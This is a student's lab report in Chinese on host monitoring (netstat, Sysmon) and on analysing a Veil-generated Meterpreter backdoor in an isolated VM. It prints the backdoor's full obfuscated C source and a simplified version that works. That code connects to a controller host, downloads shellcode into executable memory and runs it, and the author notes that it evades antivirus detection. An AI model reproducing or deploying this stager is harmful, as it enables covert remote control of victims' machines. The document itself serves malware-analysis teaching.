Exp4 惡意代碼分析
0x1 系統運行監控
這次實驗的第一部分是對自己的主機進行系統監控,嘗試能否發現異常情況。
我的主機是windows 10家庭中文版,主要用來寫作業,由於硬盤容量小,沒有安裝影音娛樂軟件。我覺得應該發現不了什么問題。
結合windows計划任務與netstat命令
netstat是一個監控TCP/IP網絡的非常有用的命令行工具,我們可以結合windows自帶的計划任務,每5分鍾執行netstat -bn
這條指令,並將結果重定向到一個txt文件當中。
-b
可顯示在創建網絡連接和偵聽端口時所涉及的可執行程序,-n
顯示所有已建立的有效連接。
我們先寫出如下的批處理文件:
接着在“控制面板”中搜索“計划任務”,並創建新任務:
接着我們就看到計划任務成功創建好了,接着就是等待數據的收集了。
數據收集完畢后,我們得到的日志文件如下:
將它導入Excel表格中,通過數據分析日志內容:
我們看一下這期間,我到主機連接到的外部地址(除去127.0.0.1和內網地址)統計:
我發現222.28.152.201出現的次數最多,查一下這個IP的信息,應該沒有什么問題:
然后看一下有那些進程訪問網絡吧:
不得不說,除了firefox瀏覽器, 迅雷對網絡的訪問量比較高。
使用sysmon監視系統
sysmon是由Windows Sysinternals出品的一款Sysinternals系列中的工具。它以系統服務和設備驅動程序的方法安裝在系統上,並保持常駐性。sysmon用來監視和記錄系統活動,並記錄到windows事件日志,可以提供有關進程創建,網絡鏈接和文件創建時間更改的詳細信息。
首先給出配置文件,按照老師的要求,這次實驗的配置文件中記錄ProcessCreate, FileCreateTime, NetworkConnect:
對於Firefox瀏覽器,我們就不監控它的流量了。注意,這里的<Sysmon schemaversion="4.00">
,我下載的sysmon是這個版本,sysmon發現版本不對會給出提示信息,提示信息中就有版本信息。
安裝好sysmon服務以后,我們可以看一下sysmon服務的狀態,確認該服務已經開啟了。
然后再“控制面板”中搜索“事件查看器”,在應用程序和服務日志/Microsoft/Windows/Sysmon/Operational
下可以看到日志:
隨便點開一個事件看一下:
這是我電腦中的迅雷下載器,日志文件中記錄了它的一次聯網行為,應該是我在網上下載東西吧,下面還有目的地址的IP:
在網上看一下這個IP的歸屬地吧:
這個……我們在看一個迅雷的聯網行為吧:
在看一下這個IP的歸屬地:
迅雷還有好多聯網行為,我就不一一截圖了……迅雷下載東西原來也是要滿世界跑的,現在終於漲姿勢了……
0x2 惡意軟件分析
在系統中發現有問題的程序時,就應該着手對它進行分析。一般對惡意軟件的分析都是在虛擬環境中執行的,為了避免其他進程的干擾,我將虛擬機設置為Host-only模式。
- 虛擬環境: windows 7 x64專業版 IP:192.168.56.101
- 后門遠控端:Kali linux x64 IP:192.168.56.102
- 后門樣本:Veil 3.1——c/windows/meterpreter/rev_tcp,程序名稱可以繞過火絨安全軟件
在線檢測——virustotal
首先將后門程序veil_test.5.1.10.exe放到virustotal上,看一下生成的報告:
我們可以看到這個后門用到的動態鏈接庫
- KERNEL32.dll控制着系統的內存管理、數據的輸入輸出操作和中斷處理
- user32.dll是Windows用戶界面相關應用程序接口,用於包括Windows處理,基本用戶界面等特性,如創建窗口和發送消息
- WS2_32.dll是Windows Sockets應用程序接口, 用於支持Internet和網絡應用程序
- msvcrt.dll是微軟在windows操作系統中提供的C語言運行庫執行文件
動態分析1——使用TCPView工具
我們通過TCPView工具可以獲取后門程序的網絡連接信息,發現實驗環境下攻擊機的IP地址
但獲取到的信息非常少,我們需要更多的信息,就要使用專業的抓包工具
但獲取到的信息非常少,我們需要更多的信息,就要使用專業的抓包工具,比如wirehsark。(只可惜我不太會用,留下了這么一堆數據不會處理)
動態分析2——使用Process Explorer
Process Explorer可以實時監控計算機的進程狀態,我們可以用它來看看Meterpreter進程遷移的行為。
首先運行后門程序,我們找到了它的進程:
接着我們准備把它遷移到notepad++.exe的進程中,還沒遷移之前是notepad++.exe是這樣的:
然后,我們把它遷移到notepad++.exe中去:
此時查看notepad++.exe中的各個線程
我們發現多了一個線程,這應該就是Meterpreter遷移到notepad++z中創建的新線程,把它KILL掉!!
Meterpreter沒法工作了!我們的猜想是正確的!
動態分析3——使用systracer
systracer可以給計算機做快照,分析計算機文件,文件夾和注冊表項目的改變。
這里我准備給系統做三個快照:
- 未開啟后門程序
- 開啟后門程序
- Meterpreter持久化后——run persistence
這是剛開啟后門是Kali上的畫面,我執行了sysinfo
命令:
做了快照以后,我執行run persistence
后滲透模塊后kali的界面:
於是我們得到了三個不同的系統快照:
通過兩兩比較,我們發現了Meterpreter持久化需要上傳的ZoajdcjX.vbs
事實上,火絨安全也發現了Meterpreter的持久化行為,可以看出殺毒軟件廠商還是很強的:
專業的手工檢測——火絨劍
火絨劍是火絨安全軟件中的一個HIPS工具,可以監控系統,進程,服務,網絡,注冊表,文件,內核等等,功能相當強大,使用起來也比較方便。
我們開啟火絨劍的監控:
我們很快發現后門程序veil_test.5.1.10.exe的行為已經被監控下來了。
對后門的動作還有詳細的分析,這是剛開啟后門的時候,后門連接Kail攻擊機:
還能查看進程的調用棧
雙擊其中一個,甚至可以反匯編!!
我們可以看到后門程序的進程,安全狀態為“未知文件”:
由於之前做了Meterpreter的持久化,我們用火絨劍查看系統服務:
很容易就發現了Meterpreter的后門持久服務的身影!
火絨劍是基於主機的IPS,只能做到基本的網絡監控與防護:
總而言之,火絨安全是國產良心軟件,真的非常良心(卸載360全家桶用火絨吧,笑……)
靜態分析1——使用PEid查看加殼情況
PEid是一個非常強大的查殼軟件,可以輕易檢出超過470種外殼,並可檢查程序的編程語言。
我們可以看到Veil生成的可執行文件是沒有加殼的,因此分析起來會容易一些(但對咱們來說並沒有什么區別,因為沒有逆向的基礎)
靜態分析2——使用PE Explorer
網上的一些有逆向基礎的同學會使用Ollydbg、IDA Pro這些比較專業的反匯編工具進行分析,我們沒有這個本領,也就暫時不用這兩個工具了。
PE Explorer是功能超強的可視化Delphi、C++、VB程序解析器,能快速對32位可執行程序進行反編譯,並修改其中資源。
剛打開PE Explorer我們就會看到后門程序的頭部信息。
我們還可以看到后門程序依賴的動態鏈接庫:
更棒的就是反匯編功能了,我們可以看到程序中IP地址是“寫死的”字符串常量,程序的入口點也能看到:
如果要使用反匯編,而且還有逆向基礎的話,我覺得用專業的IDA Pro比較好,它有免費試用版可以下載。
后門程序的源代碼分析
既然是惡意代碼分析,只是觀察后門程序的行為一點也不過癮,但我們的水平也沒法對后門進行逆向,所以分析源代碼我覺得還是可以的。
如果是用Veil生成后門的話,我們是可以獲得后門的源代碼的!
剛開始我們看到的C語言源代碼是這個樣子的:
這個代碼看來是經過混淆的,代碼格式和變量名都非常“亂”。
我們先對代碼進行格式化,得到稍微能看一點的源碼:
#define _WIN32_WINNT 0x0500
#include <winsock2.h>
#include <signal.h>
#include <time.h>
#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include <windows.h>
#include <math.h>
#include <stdarg.h>
char* ELPhvnk(const char *t)
{
int length= strlen(t);
int i; char* t2 = (char*)malloc((length+1) * sizeof(char));
for(i=0;i<length;i++) {
t2[(length-1)-i]=t[i];
}
t2[length] = '\0';
return t2;
}
char* oxImsmwTbcn(char* s)
{
char *result = malloc(strlen(s)*2+1);
int i;
for (i=0; i<strlen(s)*2+1; i++) {
result[i] = s[i/2]; result[i+1]=s[i/2];
}
result[i] = '\0';
return result;
}
void cvNGKT() {
WORD XWPJfalPF = MAKEWORD((0*4+2), (0*4+2));
WSADATA diDuQXNFmNZTv;
if (WSAStartup(XWPJfalPF, &diDuQXNFmNZTv) < 0) {
WSACleanup();
exit(1);
}
}
char* IrhXxkpgdSirgmd() {
char *VTYrQkpq = ELPhvnk("dMjybHyCDGdyDYHjFxRJHePOysgMIrdtsPIJACQLjwQwMMaEHV");
return strstr( VTYrQkpq, "s" );
}
void JQQYIn(SOCKET dQQjjbD) {
closesocket(dQQjjbD);
WSACleanup();
exit(1);
}
char* HdzfoS() {
char NVGmZE[2940] = "xgqPMqbqLgbqKnTGxNOhRSTrPdNBDUuKKgxnvyybPjiAxSWLNg";
char *lCUrNPHXpM = strupr(NVGmZE);
return strlwr(lCUrNPHXpM);
}
int PaBVzZ(SOCKET aNTeaiCAXmaMhX, void * mngpZHDHPakA, int xMumRzycXl) {
int slfkmklsDSA=0;
int rcAmwSVM=0;
void * startb = mngpZHDHPakA;
while (rcAmwSVM < xMumRzycXl) {
slfkmklsDSA = recv(aNTeaiCAXmaMhX, (char *)startb, xMumRzycXl - rcAmwSVM, 0);
startb += slfkmklsDSA;
rcAmwSVM += slfkmklsDSA;
if (slfkmklsDSA == SOCKET_ERROR)
JQQYIn(aNTeaiCAXmaMhX);
}
return rcAmwSVM;
}
char* TEOHbyfIXj() {
char irQRqbMDFFOiV[2940], TQJodSedKcBQ[2940/2];
strcpy(irQRqbMDFFOiV,"SrZFbAxiwfQYtzUOXzcJNYrpCduFtWmwnFtzlLXPiOdlEzQfEw");
strcpy(TQJodSedKcBQ,"NMYmTVYYVDWVDLCEBprcyjeoiTZqfbtjDbRUFJXkLDdkXyycss");
return oxImsmwTbcn(strcat( irQRqbMDFFOiV, TQJodSedKcBQ));
}
SOCKET IpYbCHNOV() {
struct hostent * CADnJpvtGkADG;
struct sockaddr_in NCpJvOJAtp;
SOCKET YJZKAxHbFLbgOb;
YJZKAxHbFLbgOb = socket(AF_INET, SOCK_STREAM, 0);
if (YJZKAxHbFLbgOb == INVALID_SOCKET)
JQQYIn(YJZKAxHbFLbgOb);
CADnJpvtGkADG = gethostbyname("192.168.56.102");
if (CADnJpvtGkADG == NULL)
JQQYIn(YJZKAxHbFLbgOb);
memcpy(&NCpJvOJAtp.sin_addr.s_addr, CADnJpvtGkADG->h_addr, CADnJpvtGkADG->h_length);
NCpJvOJAtp.sin_family = AF_INET;
NCpJvOJAtp.sin_port = htons((567*9+7));
if ( connect(YJZKAxHbFLbgOb, (struct sockaddr *)&NCpJvOJAtp, sizeof(NCpJvOJAtp)) )
JQQYIn(YJZKAxHbFLbgOb);
return YJZKAxHbFLbgOb;
}
int main(int argc, char * argv[])
{
ShowWindow( GetConsoleWindow(), SW_HIDE );
ULONG32 GbMtxZMJpvUG;
char * AOnWmVQURLSv;
int i;
char* WRprInF[1160];
void (*LKMoAeoqcSLE)();
for (i = 0; i < 1160; ++i)
WRprInF[i] = malloc (9816);
cvNGKT();
char* GLEsyWODiOETsqn[6];
SOCKET PSWEfTlAWmQjz = IpYbCHNOV();
for (i = 0; i < 6; ++i)
GLEsyWODiOETsqn[i] = malloc (8388);
int MjrRXPBqQGgxTx = recv(PSWEfTlAWmQjz, (char *)&GbMtxZMJpvUG, (4*1+0), 0);
if (MjrRXPBqQGgxTx != (2*2+0) || GbMtxZMJpvUG <= 0)
JQQYIn(PSWEfTlAWmQjz);
AOnWmVQURLSv = VirtualAlloc(0, GbMtxZMJpvUG + (5*1+0), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
char* OMybsEGA[8773];
for (i=0; i<1160; ++i) {
strcpy(WRprInF[i], IrhXxkpgdSirgmd());
}
if (AOnWmVQURLSv == NULL)
JQQYIn(PSWEfTlAWmQjz);
AOnWmVQURLSv[0] = 0xBF;
memcpy(AOnWmVQURLSv + 1, &PSWEfTlAWmQjz, (4*1+0));
for (i = 0; i < 8773; ++i)
OMybsEGA[i] = malloc (7764);
for (i=0; i<6; ++i){
strcpy(GLEsyWODiOETsqn[i], HdzfoS());
}
MjrRXPBqQGgxTx = PaBVzZ(PSWEfTlAWmQjz, AOnWmVQURLSv + (5*1+0), GbMtxZMJpvUG);
LKMoAeoqcSLE = (void (*)())AOnWmVQURLSv;LKMoAeoqcSLE();
for (i=0; i<8773; ++i) {
strcpy(OMybsEGA[i], TEOHbyfIXj());
}
return 0;
}
用IDE一鍵格式化就能得到這樣的結果,但這段代碼依然很難讀懂,這些變量名都非常奇怪,而且還有一些莫名其妙的字符串操作,實在讓人頭疼。
后來我經過一番探索,發現這些字符串的操作完全是多余的!,后門的基本功能完全不依賴與這些字符串操作!!
真正起作用的只要下面這些代碼,這里貼出的代碼我修改了變量名和函數名,讓同學們能看懂,精簡后的源碼如下:
#define _WIN32_WINNT 0x0500
#include <winsock2.h>
#include <signal.h>
#include <time.h>
#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include <windows.h>
#include <math.h>
#include <stdarg.h>
/*
* 函數名:startupWSA()
* 作用:初始化WinSock服務
* 備注:對應veil原始程序中的void cvNGKT()函數
*
*/
void startupWSA()
{
WORD wVersionReq = MAKEWORD(2, 2);
WSADATA wsaData;
if (WSAStartup(wVersionReq, &wsaData) < 0) {
WSACleanup();
exit(1);
}
}
/*
* 函數名:closeSocket
* 作用:關閉套接字
* 備注:對應veil原始程序中的void JQQYIn(SOCKET dQQjjbD)函數
*
*/
void closeSocket(SOCKET sock)
{
closesocket(sock);
WSACleanup();
exit(1);
}
/*
* 函數名:recvPayload
* 作用:接受Meterpreter的payload
* 備注:對應veil原始程序的int PaBVzZ(SOCKET aNTeaiCAXmaMhX, void * mngpZHDHPakA, int xMumRzycXl)函數
*
*/
int recvPayload(SOCKET sock, void * payloadBuf, int size)
{
int recvLen=0;
int count=0;
void * startb = payloadBuf;
while (count < size) {
recvLen = recv(sock, (char *)startb, size - count, 0);
startb += recvLen;
count += recvLen;
if (recvLen == SOCKET_ERROR)
closeSocket(sock);
}
return count;
}
/*
* 函數名:createTCPSocket()
* 作用:創建socket套件字
* 備注:對應veil原始程序的SOCKET IpYbCHNOV()函數
*
*/
SOCKET createTCPSocket()
{
struct hostent * host;
struct sockaddr_in addr;
SOCKET sock;
sock = socket(AF_INET, SOCK_STREAM, 0);
if (sock == INVALID_SOCKET)
closeSocket(sock);
host = gethostbyname("192.168.56.102"); //控制端的IP地址
if (host == NULL)
closeSocket(sock);
memcpy(&addr.sin_addr.s_addr, host->h_addr, host->h_length);
addr.sin_family = AF_INET;
addr.sin_port = htons((5110)); //控制端的端口號
if ( connect(sock, (struct sockaddr *)&addr, sizeof(addr)) )
closeSocket(sock);
return sock;
}
int main(int argc, char * argv[])
{
ULONG32 size;
char * payload;
void (*pfunc)();
//隱藏命令行窗口
ShowWindow( GetConsoleWindow(), SW_HIDE );
//創建套接字
startupWSA();
SOCKET sock = createTCPSocket();
int recvLen = recv(sock, (char *)&size, 4, 0);
if (recvLen != 4 || size <= 0)
closeSocket(sock);
//為payload申請空間
payload = VirtualAlloc(0, size + 5, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (payload == NULL)
closeSocket(sock);
payload[0] = 0xBF;
memcpy(payload + 1, &sock, 4);
//接收payload並執行
recvLen = recvPayload(sock, payload + 5, size);
pfunc = (void (*)())payload;
pfunc();
return 0;
}
這段精簡化后的代碼是可以使用的,我們在win7虛擬機下用mingw編譯這個程序:
運行該程序,成功回連:
我不明白為啥Veil 3.1生成的C源代碼要有多余的“字符串”分配和操作,難道是為了免殺嗎?
提取核心部分的代碼難道不能免殺嗎?我們來看看:
至少火絨安全查不出來。
放到virustotal上看一下吧,效果還不錯:
我不知道為啥Veil有那么多“多余的代碼”,也許是為了免殺吧。雖然我沒法獨立寫后門程序,對Veil生成的C源碼了解個大概還是沒問題的,可還有許多細節沒有弄明白。
我想5253班上過劉念老師的網絡編程的同學也能夠大概了解這段源碼了吧。
實驗問題回答
(1) 如果在工作中懷疑一台主機上有惡意代碼,但只是猜想,所有想監控下系統一天天的到底在干些什么。請設計下你想監控的操作有哪些,用什么方法來監控。
我需要監控如下方面
- 注冊表
- 系統服務
- 開機啟動項
- 文件創建
- 網絡連接情況
前三個方面可以依賴“火絨劍”這個HIPS工具,至於網絡連接情況的監控,專業一點的話就使用NIDS(基於網絡的入侵檢測系統),其實用Sysmon記錄日志我覺得已經可以了
(2) 如果已經確定是某個程序或進程有問題,你有什么工具可以進一步得到它的哪些信息。
我覺得依然可以用HIPS(基於主機的入侵防御系統)獲取信息,招不在新,管用就行。
當然也可以使用一些用途更加“專一”的工具進行針對性分析,比如用wireshark進行流量分析,Process explorer進行進程監控,Strings提取字符串,IDA Pro反匯編等等
實驗總結與體會
我感覺分析日志文件、監控系統也是個技術活,從一大堆監控信息,數據流量中找到真正有用的信息並不是想象中的那么容易。
我之前還一直把惡意代碼分析和逆向划約等號,現在看來這個想法有點膚淺了。
不過,我還是覺得有一些逆向和二進制分析方面的知識會讓自己的技術層次提高一大截。
如果我的大學還能再讀四年,我一定要掌握逆向分析技術的基本原理(但現在就算了吧)